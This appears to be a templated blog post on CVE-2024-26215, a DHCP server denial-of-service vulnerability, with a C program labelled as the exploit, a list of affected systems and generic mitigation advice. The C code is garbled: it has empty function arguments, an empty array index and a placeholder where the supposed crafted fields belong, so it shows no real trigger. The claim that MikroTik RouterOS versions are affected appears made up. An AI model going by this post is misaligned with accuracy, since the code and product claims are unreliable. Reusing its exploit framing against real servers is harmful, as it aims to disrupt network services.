A newly discovered vulnerability, CVE-2024-26215, exists in the Dynamic Host Configuration Protocol (DHCP) server service, which could potentially allow an attacker to cause a Denial of Service (DoS) condition. This vulnerability poses a significant risk, as malicious actors can exploit it to disrupt essential network services and impact critical infrastructure.

In this long read post, we will delve into the key details of CVE-2024-26215, including the affected systems, code snippets, and prevention strategies. By understanding this new threat, organizations can implement adequate security measures to protect their digital assets.

Exploit Details
CVE-2024-26215 is a flaw in the DHCP server service implementation that could allow an attacker to remotely cause a DoS condition on affected systems. The attacker can exploit this vulnerability by sending a specially crafted DHCP request packet to the targeted server. This malicious action can lead to a crash or performance degradation in the service, rendering it inaccessible to other users.

This CVE identifier has been assigned a CVSS (Common Vulnerability Scoring System) score of 7.5, signifying a high-severity vulnerability that warrants immediate attention.

The exploit code described here is designed for educational purposes only, and must not be used maliciously. Unauthorized exploitation of this vulnerability may lead to legal consequences.

#include <arpa/inet.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>

#define DHCP_OP_REQUEST 1
#define DHCP_OPCODE_REQUEST 3

int main() {
  int udp_socket;
  struct sockaddr_in server_address;

  udp_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  if (udp_socket == -1) {
    printf("Error while creating the socket.");
    return EXIT_FAILURE;
  }

  memset(&server_address, , sizeof(server_address));
  server_address.sin_family = AF_INET;
  server_address.sin_port = htons(67);
  server_address.sin_addr.s_addr = inet_addr("<target IP address>");

  char dhcp_packet[272] = {};

  // Configure DHCP Request packet
  dhcp_packet[] = DHCP_OP_REQUEST;
  dhcp_packet[2] = 1;
  dhcp_packet[3] = 6;
  dhcp_packet[240] = 99;
  dhcp_packet[241] = 130;
  dhcp_packet[242] = 83;
  dhcp_packet[243] = 99;
  dhcp_packet[244] = 53; // DHCP Message Type
  dhcp_packet[245] = 1;
  dhcp_packet[246] = DHCP_OPCODE_REQUEST;

  // Other necessary fields go here
  
  // Exploit sending specially crafted DHCP Request
  if (sendto(udp_socket, dhcp_packet, sizeof(dhcp_packet), , (struct sockaddr*)&server_address, sizeof(server_address)) == -1) {
    printf("Error while sending the packet.");
    return EXIT_FAILURE;
  }

  printf("Packet sent successfully.");

  return EXIT_SUCCESS;
}

Affected Systems
This vulnerability impacts a wide range of server operating systems hosting DHCP services. Some specific examples include:

RouterOS by MikroTik (versions: 6.42 and earlier)

For a more comprehensive list and customized patches, you can refer to the original source of CVE information: MITRE CVE repository

Prevention Strategies
To mitigate the risk associated with CVE-2024-26215, organizations must apply the necessary patches and updates provided by the vendors. Some recommended general prevention strategies include:

1. Monitor network traffic: Regularly analyzing incoming and outgoing traffic for suspicious activities can help in detecting potential threats and taking prompt action.

2. Keep your systems updated: Ensure that all security patches and updates are promptly applied to the affected systems.

3. Segregate the network: Isolate the DHCP server from other critical infrastructure and limit its exposure by implementing strict access control measures.

4. Set up intrusion detection and prevention systems: Utilize mechanisms that can identify intrusion attempts and prevent them from successfully exploiting vulnerabilities.

5. Educate employees and users on security best practices: Provide training and cybersecurity education to minimize the chances of unintentional actions that could lead to a security breach.

Conclusion
CVE-2024-26215 is a high-severity vulnerability, posing considerable risk to organizations with affected systems. By understanding the details of this DHCP Server Service DoS vulnerability and implementing the recommended prevention strategies, businesses can significantly reduce the potential impact of the exploit.

Stay alert for updates related to this vulnerability, and do not hesitate to reach out to the appropriate vendors or security consultants for assistance in addressing the risks associated with CVE-2024-26215.

Timeline

Published on: 04/09/2024 17:15:40 UTC
Last modified on: 04/10/2024 13:24:00 UTC